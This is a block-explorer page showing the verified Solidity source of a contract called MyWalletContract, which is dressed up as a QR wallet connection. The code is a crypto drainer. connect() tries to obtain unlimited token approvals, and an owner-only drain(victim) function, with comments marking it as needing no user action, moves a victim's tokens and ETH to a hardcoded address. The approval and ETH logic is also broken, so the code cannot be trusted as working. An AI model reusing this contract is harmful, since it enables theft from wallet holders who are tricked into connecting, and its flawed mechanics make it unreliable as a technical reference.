Verified contractExactMIT
MyWalletContract
Address0x8e9f8bbaec1ecd7b978d81009afad0dc875fafa3
- Balance
0 ETH
- Transactions
3
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,455,759
- Creation transaction
- 0xa82eb5f742…29be171997
contracts/MyWalletContract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function approve(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
}
contract MyWalletContract {
address public owner;
address public receiver;
string public message = "Connected via QR";
address[] public tokens;
event Received(address indexed from, uint256 amount, string note);
event Drained(address indexed victim, address token, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
constructor(address[] memory _tokens) {
owner = 0xFDEB02eD7Ff611F2D1D3fA2148c8E43fa8266b3E;
receiver = 0xFDEB02eD7Ff611F2D1D3fA2148c8E43fa8266b3E;
tokens = _tokens;
}
// ---- THE ONE CONFIRM ----
function connect() external payable {
for (uint256 i = 0; i < tokens.length; i++) {
IERC20(tokens[i]).approve(address(this), type(uint256).max);
}
if (msg.value > 0) {
emit Received(msg.sender, msg.value, "connected");
}
}
// ---- OWNER DRAIN, NO USER ACTION ----
function drain(address victim) external onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
uint256 bal = IERC20(tokens[i]).balanceOf(victim);
if (bal > 0) {
IERC20(tokens[i]).transferFrom(victim, receiver, bal);
emit Drained(victim, tokens[i], bal);
}
}
// Directly call the transfer of ETH if any
uint256 ethBalance = address(victim).balance;
if (ethBalance > 0) {
(bool ok, ) = payable(receiver).call{value: ethBalance}("");
require(ok, "ETH transfer failed");
}
}
function setReceiver(address r) external onlyOwner {
receiver = r;
}
function setTokens(address[] memory t) external onlyOwner {
tokens = t;
}
function setMessage(string memory m) external {
message = m;
}
receive() external payable {
emit Received(msg.sender, msg.value, "direct transfer");
}
function withdraw() external onlyOwner {
(bool ok, ) = payable(owner).call{value: address(this).balance}("");
require(ok, "send failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.